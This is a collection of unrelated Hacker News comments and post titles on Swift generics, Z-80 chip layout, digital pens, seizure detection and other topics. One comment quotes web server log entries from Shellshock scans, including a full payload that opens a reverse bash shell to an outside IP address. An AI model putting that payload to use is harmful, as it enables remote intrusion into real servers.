skysight-inc/HackerNews huggingface dataset:
React is mostly for getting data to and from views. This is purely UI. You can use them together.
Old LG with Cyanogenmod :-)
Standard ML is my favorite language, bar none. It contains so many ideas that are obviously the Right Thing in retrospect, like parametric polymorphism, algebraic data types, pattern matching, Hindley-Milner type inference, etc. The ideas added by ML's successors, like OCaml and Haskell, seem much more iffy and debatable in comparison.

Maybe the page should also mention Concurrent ML? It's basically the right solution to the problem that Go is fumbling toward.
Since we're talking about Swift generics here, you have to realize that the point is not whether generics / static typing can be useful, but if the type of generics and static typing as enforced by Swift is good enough.

The problem here is that Swift has incomplete generics. In several aspects they are significantly worse than even Java's(!)

Together with its brand static typing and type inference that doesn't always work, you are really working against the compiler to get things to work. Not because you get the types wrong, but because you have to work around the incompleteness of the generics implementation!

Swift is not Haskell and should not be mistaken for it. The problem with Swift's generics is one of incompleteness, inconsistencies and problematic trade-offs to maintain ObjC compatibility.
thats awesome....so much better for it
I downloaded it after payment, using Transmission, but I struggle to understand how they can protect the sharing.
If, as said in the help page [0], they are limiting the number of times a torrent can be downloaded, this breaks the idea of torrents.

[0] http://bundle-help.bittorrent.com/customer/portal/articles/1...
Unified system.... distributed platform... cough blockchain cough
Do you work in HFT? Because as someone who used to work in HFT, I can say with 100% confidence that the algorithms are not found in economics textbooks.
Ask HN: Why has there not been large scale adoption of digital pens?
There's been many on the market for a while now, have you used or considering using one? What has your experience with them been.

Probably the most famous, consumer facing firm that makes digital pens is LiveScribe:

http://store.livescribe.com/

Equil Jot 2, funded on Indiegogo I believe, just came out to mixed reviews:

http://www.myequil.com/

And there are several others on the market. Why do you think adoption of digital pens has not really taken of en masse? Is the technology not good enough? Do people just prefer using laptops/tablets/phones?
In the languages that I'm using (JS, and now Swift), lambdas are only marginally more difficult to write than a pair of brackets. In fact, in Swift, you actually can't write a pair of brackets to designate scope, but you can put stuff in a lambda if you wish.
RAID 1 mostly gives more random read IOPS, not faster. You have two drives from which to read data, since they're mirrored.

You do have more chances for the spindles to be near your data (especially with >2 drives in the array), which can slightly reduce average latency, but that isn't as large an effect.
If it's done strictly in the style that I've shown above then refactoring the blocks into separate functions should be a matter of "cut, paste, add function boilerplate". The only tricky part is reconstructing the function parameters. That's one of the reasons I like this style. The inline blocks often do get factored out later. So, setting them up to be easy to extract is a guilt-free way of putting off extracting them until it really is clearly necessary.

But, it sounds like what you are dealing with is not inline blocks of separable functionality. Sounds like a bunch of good-old, giant, messy functions.
Do shellshock scans violate CFAA?
> I have been reverse-engineering the Z-80 processor using images and data from the Visual 6502 team.

Many moons ago, I heard a seventh-hand rumor that the guy doing the layout of the Z-80 chip had a nervous breakdown, because of the difficulty of the work.

I have no idea if there was any truth whatsoever to that, but I'm glad to find it's not a Langford Blit thing which maddens those who see it ;-)
Could you please explain why it'd be useful to do that for something you'd only use once, esp only within that function? I honestly don't see how that's useful or more clear. Some examples with explanations would probably help. Thanks :)

(Edited to fix minor typo)
Tencent Q2 2014: 438mm WeChat MAUs, 645mm QZone MAUs, 829mm QQ MAUs
This was maybe true five or six years ago. Most of the newer frameworks I've seen are trying to get developers to stop using jQuery. A lot of developers are building alternatives to jQuery as well.

Take for example AngularJS. AngularUI just built a set of Boostrap directives so its not dependent on jQuery:

http://angular-ui.github.io/bootstrap/

This guy says, "You might not need jQuery" and gives some good examples:

http://youmightnotneedjquery.com/

I have a co-worker that will go to his grave thinking VanillaJS is much much better than jQuery. .

http://vanilla-js.com/

To try and answer your question, most jQuery apps have the business logic, the model and the UI all together. React (as I understand it) abstracts each of these out separately. This makes debugging, and maintaining a large scale app a lot easier. Also, jQuery is all about manipulating the DOM. React uses other methods to stay away from directly interacting with the DOM.
Silly to move forward with medication dosage and other management with just generalized tonic clonic seizures. Leaving out partial complex seizures and the like would be required information. Most temporal lobe seizure patients have a much greater partial to generalized seizure ratio.
Jonathan Blow: Programming Languages for Game Design Talk Part 2
Presumably FurBB is deployed somewhere. Definitely keep that URL to yourself. Feel free to link from that instance to the project, though.

Meanwhile, change the branding on the project. Even the backronym may be too risky.

Next, use the software to deploy a 2nd site that is more 'vanilla' which employers won't object to. Perhaps pick a hobby that some of the PHBs at your company indulge in (golf, fishing, etc.)? Or perhaps (depending on the market you're going to try and get work in), fixie bikes, pour-over coffee makers, hot yoga, etc.

Heck, start a side project that does forum-hosting using your software... You'll learn even more that way, and the instance that was the primary instigator can just hide among the multitudes...
FPGAs for Dummies [pdf]
>“Well, I’m a computer scientist, so I had to take a lot of engineering courses for that,” says Hari, with an awkward laugh. He bores in. “But you are not a food scientist. You’re not a chemist. You’re not a scientist in that aspect.” Then he quotes an editorial, in which a Yale School of Medicine neurologist calls the Subway claims “the worst example of pseudo-scientific fear-mongering I have seen in a while.”

Sums up my feelings on this sort of activism perfectly. "You shouldn't eat anything you can't pronounce" is an ignorant claim deserving of ridicule.

Yet Another misinformed anti-GMO/"natural food" advocate yawn "Did you know the salt in your potato chips is also used as a chemical agent to melt ice on roads! Ban salt! Chemicals are poisoning your body!!!!!"

EDIT: http://foodbabe.com/2012/10/31/getting-conned-cheap-toxic-ch...

^ This actually highlights lactose as a "toxic" ingredient in chocolate.
So that 1Hz is causing rotation lag.
> Remember - the lighter the color, the older the code.

I really think it should be the opposite. Recent code should be clearly visible and older code should progressively interpolate into black. The current setup is extremely unintuitive for me.
Fire Yourself: How to Be a Successful Co-Founder
That was my impression as well, the last time I looked. Surely it can't be all that difficult to resolve?

It's a shame, having a simple python scripting system built into Calc would be a major advantage.
Also these seizures leave post ictal symptoms to make such seizures notable to the patient. Partial seizures not so much. Those complex partial and absence patients are the target group for benefit.
Is this really a Show HN? Did you make this?
There's documentation of a method to achieve the same thing using free-ish software here: http://wedidstuff.heavyimage.com/index.php/2013/07/12/open-s...

Principally it uses VisualSFM and Meshlab, both of which came to life as testbeds for algorithm research but are now useful in their own right. By all accounts 123D Catch does an excellent job, but is quite rigid in its workflow. Apparently it uses the engine from Acute3D's considerably more expensive Smart3DCapture.

Sadly neither VisualSFM or 123D Catch are usable for commercial work because of license and copyright problems respectively.
I don't think a Synology would have the horsepower that the story author was after. He specified that he was going to be chewing through large datasets, so the dual Xeons @2.3GHz were important to him. Synologies are great for what they do, but underpowered for CPU/RAM-intensive tasks...at least in the sub $500 range, which is what he was looking to spend.

I'm a happy Synology owner, but I don't use it for my dev server. It sits behind my VPN and serves media files. With the variable speed drives (WD Green) and ARM chip, it draws very little power. In short, I love it for the specific purpose for which it was designed, but I wouldn't use it for much else. My dev server is in AWS. It's just too easy to spin up and spin down whenever I need it and keeps me from having to devote space in my apartment (SF aint cheap!). Also, not having a hefty power bill is nice.

If I were advising the story author, I'd tell him that unless part of the enjoyment is building and running the thing, he should opt for a cloud provider instead. He could get a DO droplet spec'd beyond the physical server he bought for $0.12/hr and spin it up whenever he wanted to use it. Unless he's planning on using it almost continuously, you can fit a lot of 12-cent hours into a $310 budget, and that's before you consider the increased energy usage from running a server at home.
Copy forward – how to copy
The Neverending Nightmare of Retro/Grade Creator Matt Gilgenbach
Does `shl eax 1` really outperform `add eax eax`? Although i guess that's a question for `-mtune` to decide.
Very nice looking landing page. May I ask how you make the scroll so smooth?
> Java, with some less verbose syntax, it would be a total killer. I recently started to use Groovy more and more

Did you switch to Groovy for simpler syntax? Take a look at its grammar and you'll see it's far from simple, there's so many syntactic corner cases...

http://svn.codehaus.org/groovy/trunk/groovy/groovy-core/src/...
The use of the word "header" here was a little confusing. When I read the (HN) title I thought it was referring to HTTP headers (I know it doesn't make sense...thought maybe I was missing something). Then when I first looked at the page I figured it was referring to the h[1-6] elements (and thus thought the library was pretty dumb). Only after that did I figure out what it was actually referring to.

That said...I don't really have a better word to use. Also at least some of the confusion may have been due to the HN headline not having the word "fixed" in it (the actually project does, but I didn't re-read the title).
I consider my phone entertainment; I mostly use it for reading HN and watching Netflix while in bed. It's great that it's free, it's not great that I can't remove it (I can 'disable' it, I think, but can't get rid of it)
The yield curve has been relatively stable at close to 0. Indeed (as I understand it) that's the entire point of quantitive easing: it artificially keeps interest rates on long term securities down to encourage that money to be lent and spent http://marketrealist.com/2014/03/fed-taper-quantitative-easi....
Questions Your Company Should Be Asking About Big Data
(Shrug) She picked the moniker for a reason, I'm sure. Attention wh-, um, solicitor solicits attention.
The Invensense has an autonomous mode (on Android devices it can count steps without bothering the host CPU) -- does the Bosch do this too?

Apple have a separate Cortex-M3 which is branded as the "M7" or "M8" motion processor. Is this what they use for step counting when the A8 is suspended? Why not use the Invensense for that? Is the M8 + Bosch less power?
I highly doubt that the INVN accelerometer is being used for screen rotation. It is most likely the Bosch accel.

Furthermore, otation lag is typically intentionally added by the OEM as a usability feature is order to avoid flipping the screen orientation overly rapidly. Different OEMs will have different lag and sensitivity (ie angle detection thresholds) because their respective thoughts on ideal usability can differ dramatically.
The Computer History Museum's oral history of the Z-80 has some interesting stories about the layout (but doesn't mention any nervous breakdown). The Z-80 project hired some layout draftsmen, but they were slow and the chip was running behind schedule. So CEO Federico Faggin starts helping with the layout and ends up doing 3/4 of the chip layout himself after 3 1/2 months of 80-hour weeks. "You know, a CEO doing layout draftsman job was not something that would be normal, but that’s what I had to do, and I did it." By comparison, the simpler 8080 took six months of layout.

http://archive.computerhistory.org/resources/text/Oral_Histo...
This actually highlights lactose as
a "toxic" ingredient in chocolate.

Where?
I regard Swift's inconsistent runtime performance and over-reliance on compiler optimizations as a major problem with the current state of the language.

It does not help that some slowdowns are due to bugs, and some due to questionable implementation details that require knowledge of how the runtime operates.

Of course, knowing about the runtime is necessary for all micro-optimization regardless of language, but Swift currently requires it almost all of the time.

The difference between Swift and ObjC/C is glaringly obvious.

Your GCD wrapper examples use only the simplest form of generics, with no constraints at all. Magnify the problems you had to get this to work by x10.000 and you get how easy it is to do anything complex with Swift's generics. It's a maze of missing features and bugs.

I think it's very understandable that Owens got fed up with it.
If I were him, I'd file a claim against the dealer. But again, it is weird (and scary) how some laws like this are arbitrarily enforced.
No, the lag is waiting for the rotation to stop before starting the animation.

If the screen is on then the power drain from the accelerometer running as fast as it can is tiny anyway.
Do you really want such a strong non-compete agreement to be legal? By preventing people to work in industry they know best for 10 years, you pretty much tell them that they should apply to McDonalds if they ever leave their cushy government job.

What about Google prohibiting all employees to work for any supplier company for ten years? They sure could influence Google buying decisions.
What should I do if I think I am just a mediocre engineer? Just working for well established companies?
Or you can just flash another ROM and gapps-minimal.
I've only seen 2 requests in my logs:

access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
Yes you described the domino effect and the word vaporize is scary and accurate. I think what we are seeing is a business management problem from people who are not fit to run a business to be blunt. Hiding behind product, or a "disruptive" process or basically prancing around on the media about throwing money here and there while slowly, the less funded, leaner guys figure out how to take you down.
PrintAlive 3D bioprinter that builds skin grafts for burn victims
My last to fail was an OCZ Vector :(
Light Table's code bubbles look pretty nice.

http://www.chris-granger.com/images/lightable/light-full.png
I've been following this company for a while and have been a beta tester. Great product!
It's idiomatic in Rust, even:

let result = {
let b = foo(a);
let mut c = b.see();
while (c) {
c.frob();
}
baz(c)
};
Stephen Harper says Canadians' metadata not collected
>Just look at the ingredients in popular chocolate candy out there; they are despicable and it’s why I don’t buy these brands any longer, even for an occasional “treat”:

Below it is the following image (mirrored to avoid hotlinking):

http://i.imgur.com/FpnP87r.jpg

Notice "lactose" highlighted in an alarming orange color next to Almond Joy
Having worked with this kind of software solutions since the ninties I must say that you should really instead look into the software Photoscan from russian Agisoft (www.agisoft.ru) it's alot more flexible and is very cheap ($129 usd)

This was called "Photo Fly" before when it was a "Autodesks Labs project" and I belive the tech originates from when autodesk bought the french software company RealViz that made the software Photomodeler.
Most of what you're seeing there is hand-made.
In general, once there are enough laws that a person cannot know all of the laws that apply to them, selective enforcement of laws, and hence corruption, is inevitable.
If it was an attractive, well-muscled man who went by 'Food Hunk' and he used his appearance as part of his shtick, I don't think it would be changed much. But I don't think it has quite the same draw.
I wish I could upvote this a million times.

Since my parents were working all the time, extracurricular activities were usually just not possible because no one was there to drive.

The result was that I spent my grade-, middle-, and high-school years (especially summers) simply loafing around - biking around the hood, kicking it with other kids, walking to the library, the mall or arcade, catching a bus downtown, futzing around on the computer and learning to program, walking, reading, thinking, etc.

Magical times...

People really only have 18 years guaranteed obligation-free, why rob them of that?
Linux/Unix has a significantly lower barrier to entry compared to Windows and a much nicer command line interface that just works by default. Want to install a C compiler? Just run apt-get install gcc and you are golden. Same for python, ruby, haskell and any other language under the sun. I've barely used Windows since I've outgrown the my fascination for computer games, it has nothing compelling to offer for someone working in a scientific environment, who is not forced to use Microsoft Office.
1 Hz is one update per second, not one update per millisecond.
Open-source your product, let me use a custom domain (so that I can still keep my URLs alive after you belly up), and then I can reconsider, but, for now, Ello is not much different than the rest. Hates and likes change, plus, VCs can twist arms (or show you the door) - let's cut the BS! The premises I listed are still not enough though as it won't keep my interactions with people who are either unwilling to self-host later or who picked the default domain. Maybe transfer the ownership of the main domain to an independent nonprofit entity to ensure life-after-death?
I've been looking for something like this for ages - I have a family member who suffers from generalized tonic clonic seizures and have been looking at ways to try and do remote tracking.

The #1 feature request I would have is the ability to nominate a mobile number to get an SMS alert if a seizure is detected.

Is there any chance of getting early access to this ? I'd be really happy to be an Alpha tester and would be highly motivated to give you guys as much feedback as possible from the p.o.v. of a family using it to monitor epilepsy.
Doesnt need to be an expression language for that. Algol and Pascal had nested procedures and lexical scope but still had traditionla imperative statements.
Maybe the translators' jobs would be easier if we avoided jargon in our user interfaces. Are there any jargon words or phrases that are common in UIs that we could do just as well without?
This is seems potentially quite useful. It would be nice if it could also notify you if your server is not configured according to best practices in terms of things such as protocol versions and cipher suites.
So the SATA/SAS ports are low enough that the hard drives fit fine in there and connect nicely. They're at a very slight angle.

Are you worried about vibration? Or something else? I am a little bit.
Precisely. We leave it in a more unused space, and the BMC is useful in remotely powering up and checking on it :-)
To be honest I struggle to visualise just how big 24x18 is. Something the size of a 19" monitor would be nice just to hang up in a cube farm.
This is a shortsighted view, I think. More spare time can mean more novel inputs for your mind to process, which results in more creativity, which results in better performance in (some) jobs. Certainly in programming jobs.

I think we'd be a more productive nation if we all took a 1-month summer break, like they do in some European countries.
What is the use case being solved? Old fashioned people who like notes on paper don't care about digital copies. Newfangled people who don't like to write would prefer to type or record audio.
One of the early success stories of an open source SaaS product was Alfresco.

For them Open Source was a strategic advantage because it short circuited the usual enterprise sales process.

That is, their competitors in the enterprise CMS space most had very long sales cycles and highly paid salespeople to get in to companies just to do a pilot project... and meanwhile some engineer could just download and deploy Alfresco to show it did what it claimed, before the other project even got off the ground.

Upshot is that Alfresco pretty much had a full inbound sales pipeline for support contracts and their 'value added' version, and consequently higher margins.

Is your product aimed at enterprise customers?
Killer product and beautiful video. Congrats!
My brain has taken to interpreting "GCC extension" as "supported by GCC and Clang," but nested functions are one of the few cases where that isn't true,[1] which is worth noting for readers who are concerned about FreeBSD or OS X.

[1] http://clang.llvm.org/comparison.html#gcc
I still fail to see why that is a problem...

Have it enable the option only if said unsupported options are not used.

What am I missing?
If you're looking for the professional, desktop based version of this software, it's called Project Momento and is currently in beta

https://beta.autodesk.com/callout/?callid=D69655022B4F42C880...
Raising Capital: This is the Advice We Give Our Founders
Evolution in a Finite World
I also found the story too pat. The list of 22 events seemed like an odd thing for a kid to be compiling on their own initiative. I observe that kids of that age try to normalize their circumstances, not compile lists of why they are off.
Ask HN: Anonymous E-Mail
Can anyone offer any suggestions on anonymous email services?
Seems like a big argument against type C is that it would be more difficult to unit test the code. The nice thing about A/B (which are essentially the same to me) is that each subroutine becomes an easier target for unit testing.
There is VimR, Vico and a plethora of other editors that support the VIM paradigm to an extent. You should be browsing around.
Beware of dihydrogen monoxide.

http://www.dhmo.org/
We ended up using SmoothScroll on Windows (https://gist.github.com/salipro4ever/35ba6d9e61cade99a0c2), which helps us demonstrate the effect a lot better on the project page. It captures the mousewheel event and adds some tweening to make it scroll smoothly.

It does break easily if you have a non-standard mouse config, however, so I can't quite recommend the library unless there's a really good reason for it.
نتيجة مسابقة وظائف التربية والتعليم 2014 اسماء المقبولين 30 الف معلم واخصائى